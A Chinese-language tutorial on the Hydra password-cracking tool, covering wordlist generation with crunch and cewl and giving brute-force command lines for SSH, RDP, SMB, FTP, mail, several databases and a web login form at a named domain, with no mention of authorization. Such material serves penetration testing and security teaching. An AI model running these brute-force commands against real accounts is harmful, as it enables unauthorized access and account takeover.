Hydra(九头蛇)密码破解工具的详细使用教程

简介

Hydra是⼀款开源的暴⼒密码pojie⼯具,⽀持多种协议密码的破译。
可以对多种服务的账号和密码进行爆破,包括 数据库、SSH、FTP 等服务,在 Kali Linux 中自带 Hydra。有了这个工具就可以很方便的对密码进行破解。
其简单的使用参数如下:
Hydra(九头蛇)密码破解工具的详细使用教程_第1张图片
完整参数可以使用-h来查看:
Hydra(九头蛇)密码破解工具的详细使用教程_第2张图片
常用参数解释:

-l 指定用户名
-p 指定密码
-L 指定用户名字典
-P 指定密码字典
-C 指定所用格式为"user:password"的字典文件
-e

    n null,表示尝试空密码
    s same,把用户名本身当做密码进行尝试
    r 反向,把用户名倒叙,当做密码进行尝试。

-vV 显示执行细节
-o 保存执行结果
-s 指定非默认端口
-M 指定破解的目标文件,如果不是默认端口,后面跟上":port"
-t 指定爆破时的任务数量(默认16)

支持爆破的服务也很多:
在这里插入图片描述
如http,ftp,redis, mysql,mssql, mongod等等。

字典生成

密码爆破最核心的就是字典,这个地方先讲解如何生成字典。
1.可以通过github上面现成的字典来使用:https://github.com/TgeaUs/Weak-password
2.可以使用工具crunch来生成
3.可以使用工具cewl来生成

crunch的使用

crunch是一种创建密码字典工具,按照指定的规则生成密码字典,可以灵活地制定自己的字典文件。使用crunch工具生成的密码可以输出到屏幕,保存到文件、或另一个程序,相当灵活。
kali系统是默认自带crunch的。
使用方法很简单:
Hydra(九头蛇)密码破解工具的详细使用教程_第3张图片
min:最小长度。必须使用
max:最大长度。必须使用
options:
命令 功能

-b	 指定文件输出的大小,避免字典文件过大  
-c	 指定文件输出的行数,即包含密码的个数
-d	限制相同元素出现的次数
-e	定义停止字符,即到该字符串就停止生成
-f	调用库文件(/etc/share/crunch/charset.lst)
-i	  改变输出格式,即aaa,aab -> aaa,baa
-l	 通常与-t联合使用,表明该字符为实义字符
-m	通常与-p搭配
-o	将密码保存到指定文件
-p	指定元素以组合的方式进行
-q	读取密码文件,即读取pass.txt
-r	定义重某一字符串重新开始
-s	指定一个开始的字符,即从自己定义的密码xxxx开始
-t	指定密码输出的格式
-u	禁止打印百分比(必须为最后一个选项)
-z	压缩生成的字典文件,支持gzip,bzip2,lzma,7z

其中-t指定密码输出的格式为:

-t @,%^,指定模式,@,%^分别代表意义如下:
	@ 插入小写字母
	, 插入大写字母
	% 插入数字
	^ 插入特殊符号

简单的示例

生成字母组合:

//生成最小2位,最大6位,由26个小写字母为元素的所有组合
crunch 2 6

生成缺位的手机号密码:
可以作为路由器密码或wifi密码(8-11位))

crunch 11 11 -t 1583433%%%% -o 1.txt (以%位数字占位符)

生成pass01~pass99所有组合:

crunch 6 6 -t pass%% -o pwd.txt

生成六位密码,其中前四位为pass,后二位为特殊字符:

crunch 6 6 -t pass^^ -o pwd.txt

建一个8位的WIFI密码字典,由admin后加3位数字组成:

crunch 9 9 -t admin%%% -o pwd.txt

拓展库

自带密码库所在路径:

/usr/share/crunch/charset.lst

Hydra(九头蛇)密码破解工具的详细使用教程_第4张图片
类型解释:
numeric 表示0123456789
lalpha 表示26位小写字母
ualpha 表示26位大写字母
简单实例:
制作6位数字字典:

crunch 6 6 -f /usr/share/crunch/charset.lst numeric -o num6.dic

cewl 的使用

Cewl 使用给定的网站的源代码中的单词来生成单词列表,并可以选择将链接中的单词也包含在内。生成的单词列表可以用于密码破解或其他类似的用途,但是要注意,使用 cewl 生成的单词列表可能并不完全准确,因此不能保证其有效性,更适用于英文网站。因此,cewl仅仅是我们渗透的一种思路,不过有时也确实好使。
使用方法比较简单:
Hydra(九头蛇)密码破解工具的详细使用教程_第5张图片

cewl url -w 1.pwd

即将从url站的信息整合成密码,生成1.pwd
常见参数:

-d , –depth :爬行深度,默认2

-m, –min_world_length:最小长度,默认最小长度为3

-o, –offsite:允许爬虫访问其他站点

–with-numbers:允许单词中存在数字,跟字母一样

-e, –email:包括email地址

-n, –no-words:不输出字典

代理与认证:

–auth_type:Digest或者basic认证。

–auth_user:用户名认证。

–auth_pass:密码认证。

–proxy_host:代理主机。

–proxy_port:代理端口,默认8080。

–proxy_username:用户名代理。

–proxy_password:密码代理。

简单示例:

cewl http://www.xxxx.com -w 1.dic

Hydra的基本示例

SSH爆破

hydra -l root -p 密码 目标ip ssh
或者
hydra -l root -p 密码 ssh://目标ip
或者
hydra -l root -P 密码字典 目标ip ssh
或者
hydra -L 用户字典 -P 密码字典 目标ip ssh

远程桌面(RDP)

hydra -l administrator -P 密码字典 目标ip rdp

共享文件(SMB)

hydra -l administrator -P 密码字典 目标ip smb

文件传输(FTP)

hydra -l 用户名 -P 密码字典 目标ip ftp	

邮箱协议(POP3)

hydra -l 用户名 -P 密码字典 目标ip pop3

MSSQL数据库

hydra -l sa -P 密码字典 目标ip mssql

MySQL数据库

hydra -l 用户名 -P 密码字典 目标ip mysql

Oracle数据库

hydra -l 用户名 -P 密码字典 目标ip oracle

Redis数据库

hydra -l 用户名 -P 密码字典 目标ip redis

PgSQL数据库

hydra -l 用户名 -P 密码字典 目标ip postgresql

web登录爆破

hydra -t 1 -l 用户名 -p 密码  -vV -f 目标ip或者域名 http-post-form "提交登录的地址:用户名表单name=^USER^&密码表单name=^PASS^:失败的标记"
如:
hydra -t 1 -l jack123 -p jack111  -vV -f www.wsdc2023.com http-post-form "/back/login.php:memberName=^USER^&memberPwd=^PASS^:登录失败"

http-post-form 使用http协议下的post方法进行破解
“/back/login.php:memberName=^USER^&memberPwd=^PASS^:登录失败” 最后这段字符串由三部分组成,由其中的两个冒号划分,第一部分”/back/login.php“,是指定登录表单提交的地址。第二部分:memberName=^USER^&memberPwd=^PASS^,就是表单提交的用户名和密码。USER对应前面的-l 后跟的用户名jack123,PASS会被jack111替换。最后一部分’登录失败’是指定的判断密码是否正确的条件,默认是黑名单模式,也就是如果返回页面中存在”登录失败“就说明这个密码不正确

你可能感兴趣的:(网络安全,安全,测试工具,web安全)